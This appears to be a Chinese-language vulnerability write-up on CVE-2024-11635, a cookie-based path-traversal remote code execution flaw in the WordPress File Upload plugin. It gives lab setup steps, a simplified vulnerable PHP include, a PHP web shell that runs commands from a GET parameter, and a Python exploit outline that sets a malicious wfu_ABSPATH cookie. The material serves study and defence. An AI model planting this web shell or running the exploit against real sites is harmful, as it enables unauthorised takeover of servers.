WordPress File Upload 插件未授权远程代码执行漏洞 (CVE-2024-11635) 深度剖析

7 阅读3分钟

WordPress File Upload <= 4.24.12 - 未授权远程代码执行漏洞 (CVE-2024-11635)

⚠️ 重要提示: 本文档仅供教育和防御目的使用。严禁在未经授权的生产环境或他人系统中运行测试。请在隔离的实验室环境中进行漏洞验证和研究。

漏洞概述

WordPress File Upload 插件是一款广泛使用的文件上传管理工具。在其所有版本中,直至 4.24.12 版本,由于对 wfu_ABSPATH cookie 参数的处理不当,存在一个严重的未认证远程代码执行 (RCE) 漏洞。这意味着任何未登录的访客都可能利用该漏洞在服务器上执行任意代码,从而完全控制网站。

受影响版本

  • 受影响: 版本 4.24.12 及之前的所有版本。
  • 不受影响: 已由官方修复的后续版本。

安装指南 (实验室环境)

为了安全地复现和分析此漏洞,请遵循以下步骤在隔离环境中搭建测试平台。

  1. 克隆漏洞仓库

    git clone https://github.com/vigilante-1337/CVE-2024-11635
    cd CVE-2024-11635
    
  2. 启动 Docker 实验室环境 仓库中提供了预配置的 Docker Compose 文件,用于快速部署包含漏洞插件的 WordPress 站点。

    cd safe-lab
    sudo docker compose up -d
    
  3. 完成 WordPress 安装并激活插件

    • 打开浏览器,访问 http://localhost
    • 按照提示完成 WordPress 的安装(创建管理员账户)。
    • 登录后台,进入 插件 → 安装插件 → 上传插件
    • 上传并激活 safe-lab/ 目录下提供的易受攻击的插件 ZIP 文件。

核心代码分析

以下是漏洞成因的简化概念示例。实际插件代码可能更复杂,但核心问题在于对用户可控的 wfu_ABSPATH 参数的使用。

// 漏洞概念演示代码 (非插件真实代码)
// 该代码展示了不安全地使用用户输入构造文件路径的风险。

// 从 COOKIE 中获取 'wfu_ABSPATH' 的值
$user_defined_path = $_COOKIE['wfu_ABSPATH'];

// 插件内部定义的某个基础路径
$base_dir = '/var/www/html/wp-content/plugins/wp-file-upload/';

// 直接拼接用户输入来包含文件!!!这是漏洞根源!!!
// 攻击者可以通过设置 wfu_ABSPATH=../../../../../../tmp/malicious_upload.php
// 来包含并执行 /tmp/malicious_upload.php 文件。
include($base_dir . $user_defined_path . '/some_required_file.php');

// 如果攻击者能够在服务器上写入一个文件(例如,通过插件的正常上传功能),
// 那么他们就可以利用这个路径遍历漏洞来包含并执行该文件。
// 攻击者准备的有效载荷示例 (payload.php)
// 这是一个简单的后门,用于执行通过 GET 参数传递的命令。

<?php
// 检查 'cmd' 参数是否存在
if (isset($_GET['cmd'])) {
    // 执行系统命令并输出结果
    system($_GET['cmd']);
}
?>
# 漏洞利用脚本核心逻辑概念 (Python 伪代码)
# 演示如何通过 HTTP 请求触发漏洞。

import requests

def exploit_rce(target_url, attacker_shell_url):
    """
    target_url: 目标 WordPress 站点的 URL。
    attacker_shell_url: 攻击者上传的 webshell 的 URL。
    """
    # 1. 构造 payload 路径,目标是攻击者上传的 shell 文件。
    #    通过路径遍历从插件的预期目录跳转到 webshell 所在目录。
    path_traversal_payload = "../../../../../../wp-content/uploads/shell.php"

    # 2. 设置恶意 Cookie
    cookies = {
        'wfu_ABSPATH': path_traversal_payload
    }

    # 3. 向触发文件包含的特定页面发送请求
    #    注意:实际触发点 URL 需要根据插件逻辑确定。
    vulnerable_url = target_url + "/?page=some_plugin_page_that_triggers_include"
    
    # 发送带有恶意 Cookie 的请求
    response = requests.get(vulnerable_url, cookies=cookies)

    # 4. 验证漏洞利用是否成功
    #    例如,在另一个请求中尝试执行命令
    cmd_check_url = attacker_shell_url + "?cmd=id"
    cmd_response = requests.get(cmd_check_url)
    if "uid=" in cmd_response.text:
        print("[+] 漏洞利用成功!命令执行结果:")
        print(cmd_response.text)
    else:
        print("[-] 漏洞利用可能失败。")

参考链接